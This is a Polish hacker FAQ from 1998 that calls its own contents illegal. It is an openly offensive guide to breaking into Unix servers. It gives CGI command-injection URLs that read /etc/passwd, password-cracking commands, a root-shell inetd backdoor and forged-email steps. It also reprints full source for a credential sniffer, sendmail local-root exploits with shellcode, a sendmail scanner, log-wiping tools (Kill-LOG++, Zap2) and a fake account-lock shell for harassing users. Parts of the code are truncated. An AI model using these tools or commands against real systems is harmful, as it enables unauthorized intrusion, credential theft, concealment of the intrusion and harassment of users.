*************************
		*				*
		*       UnDer's		*
		*				*
		*	    FAQ		*
		*				*
		*************************

		    ver. 1.2


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%								   %
%		Wszystkie informacje zawarte           %
%		w tym FAQ sa nielegalne i              %
%		wykorzystujesz je na wlasne            %
%		ryzyko. JA NIE PONOSZE                 %
%		RZADNEJ ODPOWIEDZIALNOSCI              %
%								   %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



####################################################

I.   UNIX
   1.1 Co to jest ?
   1.2 Podstawowe komendy
II.  HASLA
   2.1 Troche o passwd
   2.2 Lamanie hasel
   2.3 Zdobywanie plikow
   2.4 User z uid 0
III. BACKDOORS
   3.1 Co to jest backdoor
   3.2 Jak zalozyc backdoora
IV. SNIFFERY
   4.1 Co to jest?
V.  SENDMAIL
   5.1 Wysylanie fakemaila
   5.2 Sendmail 8.6.12
   5.3 Sendmail 8.8.2
   5.4 Sendmail Scanner
VI. JAK HACZYC
   6.1 Klopoty
   6.2 Killlog
   6.3 Zap2
   6.4 Blokada konta

####################################################



	I.UNIX

1.1 Co to jest ?

A wiec UNIX to taki zajebisty system, duuuzo lepszy
od Shita 9x. Jezeli chcesz zostac hackerem to najpierw
naucz sie obslugi tego systemu. Jezeli masz pc, to
raczej UNIX-a sobie nie zainstalujesz ;-)
Na pc pozostaje tylko LINUX, ktory od UNIX-a rozni sie
praktycznie platforma na ktorej dziala. Obecnie
najpopularniejsza dystrybucja Linuxa jest Redhat, ale
osobiscie uwazam, ze jest on systemem dla idiotow!
Ja sam korzystam ze Slackware. Oprocz tych dwoch
jest jeszcze Debian, ktory jest najbardziej rozbudowany,
ale i najbardziej zasrany. Cholernie ciezko sie go
instaluje i ogolnie uwazam, ze jest do dupy.
Poza tymi sa jeszcze Linux Pro, LinuxWare i Caldera Open,
ale o nich nic nie napisze bo nie mialem z nimi stycznosci.
To tyle o samym systemie, wybor pozostawiam wam :-)


1.2 Podstawowe komendy

cd 	  - zmienia aktualny katalog
ls,dir  - wyswietla zawartosc katalogu
cp	  - kopiuje plik
rm	  - kasuje plik
mkdir	  - zaklada katalog
rmdir	  - usuwa katalog
du	  - wyswietla ilosc zajetego miejsca
pwd	  - wyswietla aktualny katalog
mv	  - przenosi plik
ln	  - wiaze pliki
cat 	  - wyswietla zawartosc pliku
adduser - dodaje uzytkownika
userdel - kasuje uzytkownika
finger  - wyswietla dane uzytkownika
chfn	  - zmienia dane o uzytkowniku
chown	  - zmienia wlasciciela pliku lub katalogu
chmod	  - zmienia atrybuty pliku lub katalogu
passwd  - zmienia haslo
chage	  - zmienia date ostatniej zmainy hasla, waznosci konta
mc	  - odpala imitacje Nortona
startx  - uruchamia winde
pico	  - edytor tekstu
pine	  - program pocztowy
telnet  - uruchamia telnet
irc	  - klient irc-a
su	  - zmienia uzytkownika
logout  - wylogowuje



	II. HASLA


2.1 Troche o passwd

Jest to plik w ktorym sa zapisane informacje o uzytkowniku.
Moga sie tam takze znajdowac hasla, ale raczej w to watpie.
W wiekszosci systemow hasla znajduja sie w pliku shadow
(pliki znajduja sie w katalogu /etc ). (dla lam. jezeli w
passwd w miejscu hasel znajduje sie x tzn. ze hasla sa w
shadow). Jezeli masz konto na danym serwerze napisz:
cat /etc/passwd lub cat /etc/shadow
Jezeli nie masz konta na serwerze z ktorego chcesz miec pliki
to przeczytaj punkt 3 paragrafu II.


2.2 Lamanie hasel

Do lamania hasel sluza programy taki jak John the ripper,
Killer Crack i Craker Jack. Wszystkie te programy sa pod
DOS-a. Chyba sa tez jakies programy pod Linuxa ale jesli
nawet to i tak ich nie testowalem. Ja korzystam z Johna
1.4, ale wybor zostawiam tobie. Ponizej opisalem obsluge
Johna. Na poczatek przyda sie slownik (mozna go znalezc
na wielu stronach). John ma kilka opcji lamania hasel:

1. john -single -pwfile:shadow
Jest to najprostsza metoda, dziala szybko i bez slownika,
ale i szanse, ze uda sie zlamac jakies haslo sa marne.

2. john -rules -pwfile:shadow -wordfile:slownik.txt
Ta metoda trwa duuuzo dluzej ale szanse powodzenia gruntownie
wzrastaja.

Powodzenie zalezy jescze od slownika i inteligencji userow.
Jezeli koles ma haslo kosiarka, to nie bedziecie miec problemow
z jego zlamaniem, ale jezeli np. M4Fh7Jp to raczej nie uda sie
go zlamac ;-)


2.3 Zdobywanie plikow

Na zdobycie plikow istnieje 9999999 sposobow. Jednak Linux to
nie Shit, i nowe wersje juz bez starych bledow ukazuja sie
okolo co pol roku, a nie co 3 lata jak Shit z Microsyfa.
Jednak moze to i dobrze bo gdyby krolowal np Slack 1.1 to 
bylo by nudno ;-)


2.3.1 Bugi w WWW

Jak napisalem wyzej bledy sa eliminowane i w momencie gdy
czytasz to FAQ niektorych moze juz nie byc. Ale mowi sie
trudno, trzeba troche cierpliwosci (jezel jej nie masz to
lepiej w ogole dal sobie spokoj).

Pierwszy sposob:
http://www.cel.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Drugi sposob (troche dluzszy ale wieksz szanse ze zadziala):
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna

 me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
 haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
 %0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname

 =haqr&Qemail=&Qnickname=&Qoffice_phone=

Trzeci sposob:
http://www.cel.com/cgi-bin/php.cgi?/etc/passwd
(dla lam. zamiast /etc/passwd mozezs wstawic dowolny plik, np.
/var/spoll/mail/root :-) )

Czwarty sposob:
http://www.cel.com/~root/etc/passwd

Istnieja takze programy ktore znajduja dziury za nas. Taki program to np.
phpscan.


2.4 User z uid 0

Najprostszy sposob to dopisac od passwd linijke:
user::0:0::/:/bin/bash


	III. BACKDOORS


3.1 Co to jest backdoor?

Jezeli juz udalo Ci sie wlamac na serwer, to raczej bedziesz chcial
utrzymac na nim status root-a. W takim razie po co jeszcze raz odpalac
te same programy lub wykorzystywac te same dziury. Wlasnie wtedy
wykorzystuje sie tylne drzwi.


3.2 Jak zalozyc backdoora?

Jednym z najprostszych sposobow jest zalozenie backdoora w telnecie.
Robisz tak:

# pico /etc/services
tam dopisz linijke:
suspend         639/tcp
# pico /etc/inetd.conf
dopisz:
suspend stream  tcp     nowait  root    /bin/sh sh -i
# killall -HUP inetd

Teraz sprawdz czy dziala:
# telnet host suspend  lub
# telnet host 639

Trying 127.0.0.1...
Connected to host.lamers.org
Escape character is '^]'.
bash# whoami
root
bash#


	IV. SNIFFERY

4.1 Co to jest?

Sniffer to taki sprytny program ktory potrafi wyciagac z kabla
informacje idace do innych kompow. Wyobrazcie sobie, ze siedzicie
sobie przed komputerem z odpalonym snifferem a na konsoli loguje
sie root :-) Ahhhh. Ponizej zamieszczam zrodlo Linsniffa.

---CUT HERE---
/*
LinSniffer 0.03 [BETA]
Mike Edulla
medulla@infosoc.com
*/


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);


struct etherpacket
{
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   char buff[8192];
}ep;

struct
{
   unsigned long      saddr;
   unsigned long      daddr;
   unsigned short     sport;
   unsigned short     dport;
   int                bytes_read;
   char               active;
   time_t             start_time;
} victim;

struct iphdr  *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"

int openintf(char *d)
{
   int fd;
   struct ifreq ifr;
   int s;
   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
   if(fd < 0)
   {
      perror("cant get SOCK_PACKET socket");
      exit(0);
   }
   strcpy(ifr.ifr_name, d);
   s=ioctl(fd, SIOCGIFFLAGS, &ifr);
   if(s < 0)
   {
      close(fd);
      perror("cant get flags");
      exit(0);
   }
   ifr.ifr_flags |= IFF_PROMISC;
   s=ioctl(fd, SIOCSIFFLAGS, &ifr);
   if(s < 0) perror("cant set promiscuous mode");
   return fd;
}

int read_tcp(int s)
{
   int x;
   while(1)
   {
      x=read(s, (struct etherpacket *)&ep, sizeof(ep));
      if(x > 1) 
      {
         if(filter()==0) continue;
         x=x-54;
         if(x < 1) continue;
         return x;
      }
   }
}

int filter(void)
{
   int p;
   p=0;
   if(ip->protocol != 6) return 0;
   if(victim.active != 0)   
      if(victim.bytes_read > CAPTLEN)
      {
         fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
         clear_victim();
         return 0;
      }
   if(victim.active != 0)
      if(time(NULL) > (victim.start_time + TIMEOUT))
      {
         fprintf(fp, "\n----- [Timed Out]\n");
         clear_victim();
         return 0;
      }                                                                                                                  
   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==109) p=1; /* pop2 */
   if(ntohs(tcp->dest)==143) p=1; /* imap2 */
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
   if(victim.active == 0)
      if(p == 1)
         if(tcp->syn == 1)
         {
            victim.saddr=ip->saddr;
            victim.daddr=ip->daddr;
            victim.active=1;
            victim.sport=tcp->source;
            victim.dport=tcp->dest;
            victim.bytes_read=0;
            victim.start_time=time(NULL);
            print_header();
         }  
   if(tcp->dest != victim.dport) return 0;
   if(tcp->source != victim.sport) return 0;
   if(ip->saddr != victim.saddr) return 0;
   if(ip->daddr != victim.daddr) return 0;
   if(tcp->rst == 1) 
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [RST]\n");
      clear_victim();
      return 0;
   }
   if(tcp->fin == 1) 
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [FIN]\n");
      clear_victim();
      return 0;
   }
   return 1;
}

   
int print_header(void)
{
   fprintf(fp, "\n");
   fprintf(fp, "%s => ", hostlookup(ip->saddr));
   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));   
}

int print_data(int datalen, char *data)
{
   int i=0;
   int t=0;
   
   victim.bytes_read=victim.bytes_read+datalen;
   for(i=0;i != datalen;i++)
   {
      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
      if(t > 75) {t=0;fprintf(fp, "\n");}
   }
}


main(int argc, char **argv)
{
   s=openintf("eth0");
   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   
   signal(SIGHUP, SIG_IGN);
   signal(SIGINT, cleanup);
   signal(SIGTERM, cleanup);
   signal(SIGKILL, cleanup);
   signal(SIGQUIT, cleanup);
   if(argc == 2) fp=stdout;
   else fp=fopen(TCPLOG, "at");
   if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
   clear_victim();
   for(;;)
   {
      read_tcp(s);
      if(victim.active != 0) print_data(htons(ip->tot_len)-sizeofep.ip)-sizeof(ep.tcp), ep.buff-2);
      fflush(fp);      
   }   
}

char *hostlookup(unsigned long int in)
{ 
   static char blah[1024];
   struct in_addr i;
   struct hostent *he;
   
   i.s_addr=in;
   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
   if(he == NULL) strcpy(blah, inet_ntoa(i));
   else strcpy(blah, he->h_name);
   return blah;
}

void clear_victim(void)
{
   victim.saddr=0;
   victim.daddr=0;
   victim.sport=0;
   victim.dport=0;
   victim.active=0;
   victim.bytes_read=0;
   victim.start_time=0;
}

void cleanup(int sig)
{
   fprintf(fp, "Exiting...\n");
   close(s);
   fclose(fp);
   exit(0);
}
---CUT HERE---



	V. SENDMAIL

5.1 Wysylanie fakemaila

Telnetuj sie na 25 port serwera i pisz:
mail from:osoba@od.ktorej.przyszedl.list (zekomo :-) )
rcpt to:osoba@do.ktorej.piszesz.list
data
tu jakies smieci tzn. tresc listu
.  (tak to kropka)
No i koniec. Serwer powinien pisac OK po kazdej komedzie.
Jezeli sie udalo to dobrze, a jezeli nie to sprobuj jezscze
raz ale tym razem na samym poczatku napisz: helo hacker .


5.2 Sendmail 8.6.12

Ponizej znajduje sie program, ktory pozwala uzyskac root-a.
Nalezy go uruchomic, a potem wpisac /tmp/sh 

---CUT HERE---
#include 

main() {
  void make_files();
  make_files();
  system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail");
}

void make_files() {
  int i,j;
  FILE *f;
  char nop_string[200];
  char code_string[]= {
    "\xeb\x50" "\x5d" "\x55" "\xff\x8d\xc3\xff\xff\xff"
    "\xff\x8d\xd7\xff\xff\xff" "\xc3" "cp /bin/sh /tmp" "\x3c"
    "chmod a=rsx /tmp/sh" "\x01" "-leshka-leshka-leshka-leshka-"
    "\xc7\xc4\x70\xcf\xbf\xef" "\xe8\xa5\xff\xff\xff"
    "\x81\xc5\xb4\xff\xff\xff" "\x55" "\x55" "\x68\xd0\x77\x04\x08"
    "\xc3" "-leshka-leshka-leshka-leshka-" "\xa0\xcf\xbf\xef"
  };
  j=269-sizeof(code_string);
  for(i=0;i\"$1\"\n");
  fprintf(f,"touch -t 2510711313 \"$1\"\n");
  fclose(f);
 }
---CUT HERE---


5.3 Sendmail 8.8.2

Ponizej znajduje sie skrypt. Po odpaleniu komenda /tmp/sh
da nam root-a.

---CUT HERE---
#/bin/sh
echo 'main(){execl("/usr/sbin/sendmail","/tmp/smtpd",0);}'>p1.c
echo 'main(){setuid(0);setgid(0);'>p2.c
echo 'system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");}'>>p2.c
cc -o p1 p1.c
cc -o /tmp/smtpd p2.c
./p1
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm p1.c p1 p2.c /tmp/smtpd
---CUT HERE---


5.4 Sendmail Scanner

Sendmail Scanner to program lcatufa-a przeszukujacy spore ilosci
serwerow. Ponizej znajduje sie kod zrodlowy.

---CUT HERE---
// Sendmail-SCANNER 1.0b
// (c) lcamtuf '97
// E-mail: lcamtuf@polbox.com

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define TIMEOUT 5

FILE *server;
int sock,to;

void timeout(int signo) { to=1; };

void sm(char *host) {
  char inbuf[1024];
  struct sockaddr_in sin;
  struct hostent *hp;
  int x;
  hp=gethostbyname(host);
  if (h_errno!=0) {
    printf("Nie moge namierzyc %s, pomijam...\n",host);
    return;
  }
  bcopy(hp->h_addr,(char *) &sin.sin_addr,hp->h_length);
  sin.sin_family=hp->h_addrtype;
  sin.sin_port=htons(25);
  sock=socket(AF_INET,SOCK_STREAM,0);
  if (-1
#include 
#include 
#include 
#include 
#include 
#include 
#include 


#ifndef WTMP
  #define WTMP "/var/log/wtmp"
#endif
#ifndef UTMP
  #define UTMP "/var/run/utmp"
#endif

#ifndef LAST
  #define LAST "/var/log/lastlog"
#endif


int f,err=0;

 
void kill_utmp(char *who) {
  struct utmp utmp_ent;
  printf("Cleaning utmp... ");
  if ((f=open(UTMP,O_RDWR))>=0) {
    while(read(f,&utmp_ent,sizeof(utmp_ent))>0)
      if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
        bzero((char *)&utmp_ent,sizeof(utmp_ent));
        lseek(f,-sizeof(utmp_ent),SEEK_CUR);
        write(f,&utmp_ent,sizeof(utmp_ent));
      }
    close(f);
    printf("done.\n");
  } else {
    printf("unable to open logfile.\n");
    err=3;
  }
}
 

void kill_wtmp(char *who) {
  struct utmp utmp_ent;
  long pos=1L;
  printf("Cleaning wtmp... ");
  if ((f=open(WTMP,O_RDWR))>=0) {
    while(pos!=-1L) {
      lseek(f,-(long)((sizeof(struct utmp))*pos),L_XTND);
      if (read(f,&utmp_ent,sizeof(struct utmp))<0) pos=-1L;
        else if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
          bzero((char *)&utmp_ent,sizeof(struct utmp));
          lseek(f,-((sizeof(struct utmp))*pos),L_XTND);
          write(f,&utmp_ent,sizeof(utmp_ent));
          pos=-1L;
        } else pos+=1L;
    }
    close(f);
    printf("done.\n");
  } else {
    printf("unable to open logfile.\n");
    err=4;
  }
}

 
void kill_lastlog(char *who) {
  struct passwd *pwd;
  struct lastlog newll;
  printf("Cleaning lastlog... ");
  if ((pwd=getpwnam(who))!=NULL) {
    if ((f=open(LAST,O_RDWR))>=0) {
      lseek(f,(long)pwd->pw_uid*sizeof(struct lastlog),0);
      bzero((char *)&newll,sizeof(newll));
      write(f,(char *)&newll,sizeof(newll));
      close(f);
      printf("done.\n");
    } else {
      printf("unable to open logfile.\n");
      err=2;
    }
  } else {
    printf("user not found.\n");
    err=1;
  }
}

int main(int argc,char *argv[]) {
  printf("\nKill-LOG++ 0.99b -- Linux Log Cleaner (improved by lcamtuf)\n");
  if (argc!=1) {
    printf("----------\nRemoving user's activity from logs.\n",argv[1]);
    kill_lastlog(argv[1]);
    if (!err) kill_wtmp(argv[1]);
    if (!err) kill_utmp(argv[1]);
    if (!err) printf("Cool! Everything is ok.\n");
      else printf("Damn! Something fucked up.\n"); 
    printf("----------\n\n");
  } else printf("Usage: %s username\n\n",argv[0]);
  return err;
}
---CUT HERE---


6.3 Zap2

Jeszcze jeden programik pozwalajacy czyscic logi.

---CUT HERE---
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}
---CUT HERE---


6.4 Blokada konta

Jezeli masz juz konto na jakims lamerskim serwerze to mozesz teraz troche powkurzac
lamy :-) . Ponizej zamieszczam malutki programik ktory po skompilowaniu nalezy wstawic
userowi zamiast powloki.

---CUT HERE---

#include 
main()
{
    printf("Z przyczyn technicznych konto zostalo czasowo zablokowane.\n");
    printf("Prosze odczekac tydzien lub skontaktowac sie z\n");
    printf("Administratorem systemu");
}

---CUT HERE---



	+++++++++++++++++++++++++++++++++++
	+					    +
	+    Under '98			    +
	+    e:mail: und3r@polbox.com    +
	+    irc: Und3r			    +
	+					    +
	+++++++++++++++++++++++++++++++++++